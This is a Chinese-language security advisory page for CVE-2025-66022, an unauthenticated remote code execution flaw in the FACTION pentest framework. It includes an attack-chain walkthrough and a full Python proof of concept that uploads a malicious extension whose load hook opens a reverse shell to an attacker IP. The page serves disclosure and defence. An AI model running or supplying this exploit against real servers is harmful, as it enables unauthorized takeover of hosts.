IPBUF安全漏洞报告
English
CVE-2025-66022 CVSS 9.6 严重

CVE-2025-66022 FACTION Framework 远程代码执行漏洞

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-66022
漏洞类型
远程代码执行(RCE)
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
FACTION

相关标签

远程代码执行RCE认证绕过FACTION渗透测试框架CVE-2025-66022漏洞利用权限控制缺陷

漏洞概述

FACTION是一款渗透测试报告生成和协作框架。在1.7.1之前的版本中,存在严重的远程代码执行漏洞。该漏洞的根本原因在于FACTION的扩展框架中的扩展执行路径存在安全缺陷,允许未受信任的扩展代码在服务器上执行任意系统命令。更为严重的是,由于/portal/AppStoreDashboard端点缺少身份验证检查,攻击者可以直接访问扩展管理界面,在无需任何认证的情况下上传恶意扩展包。这种设计缺陷使得未经身份验证的远程攻击者可以利用此漏洞在运行FACTION的主机上执行任意代码,从而完全控制服务器。攻击成功后,攻击者可以窃取敏感数据、安装后门、横向移动等,对系统安全造成极大威胁。该漏洞已于1.7.1版本中修复。

技术细节

该漏洞主要涉及两个安全问题:首先是扩展执行路径的权限控制缺陷,其次是认证检查的缺失。在FACTION的扩展框架中,当lifecycle hook被触发时,系统会执行扩展代码,但未能对扩展代码的来源和安全性进行充分验证。攻击者可以通过构造恶意扩展包,在扩展代码中嵌入系统命令执行逻辑。当扩展被上传并触发时,恶意的lifecycle hook会执行这些命令,从而实现远程代码执行。由于/portal/AppStoreDashboard端点没有实现认证检查,任何网络用户都可以直接访问该端点进行扩展上传操作。整个攻击过程无需任何凭据,大大降低了攻击门槛。攻击者只需构造包含恶意payload的扩展包,通过该端点上传并触发执行即可。

攻击链分析

STEP 1
步骤1
攻击者直接访问目标服务器的/portal/AppStoreDashboard端点,该端点缺少认证检查
STEP 2
步骤2
攻击者构造包含恶意payload的扩展包,在lifecycle hook中嵌入系统命令执行代码
STEP 3
步骤3
通过未认证的端点将恶意扩展上传到FACTION服务器
STEP 4
步骤4
触发扩展的lifecycle hook,导致恶意代码在服务器上执行
STEP 5
步骤5
攻击者获得服务器shell访问权限,可以执行任意系统命令,实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66022 PoC - FACTION RCE via Malicious Extension # Target: FACTION < 1.7.1 TARGET = "http://target:5000" ATTACKER_IP = "attacker_ip" ATTACKER_PORT = "4444" def create_malicious_extension(): """ Create a malicious FACTION extension with reverse shell payload """ malicious_hook = f''' import subprocess import socket import os def on_load(): # Reverse shell payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("{ATTACKER_IP}", {ATTACKER_PORT})) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"]) ''' extension_manifest = { "name": "malicious_extension", "version": "1.0.0", "description": "Malicious extension for CVE-2025-66022", "hooks": { "on_load": malicious_hook } } return extension_manifest def exploit(): """ Exploit the unauthenticated extension upload vulnerability """ # Step 1: Access the vulnerable endpoint without authentication upload_url = f"{TARGET}/portal/AppStoreDashboard" # Step 2: Upload malicious extension files = { 'extension': ('malicious.zip', json.dumps(create_malicious_extension()), 'application/json') } print("[*] Uploading malicious extension...") response = requests.post(upload_url, files=files) if response.status_code == 200: print("[+] Extension uploaded successfully!") print("[*] Triggering the malicious hook...") # Step 3: Trigger the hook to execute the payload trigger_url = f"{TARGET}/portal/extensions/trigger" requests.post(trigger_url, data={'extension': 'malicious_extension'}) print("[+] Payload triggered!") else: print("[-] Upload failed!") print(f"[*] Response: {response.text}") if __name__ == "__main__": print("CVE-2025-66022 FACTION RCE Exploit") print("Target: " + TARGET) exploit()

影响范围

FACTION < 1.7.1

防御指南

临时缓解措施
如果无法立即升级,建议在网络层限制对/portal/AppStoreDashboard端点的访问,仅允许受信任的管理IP访问。同时可以临时禁用扩展上传功能,直到完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表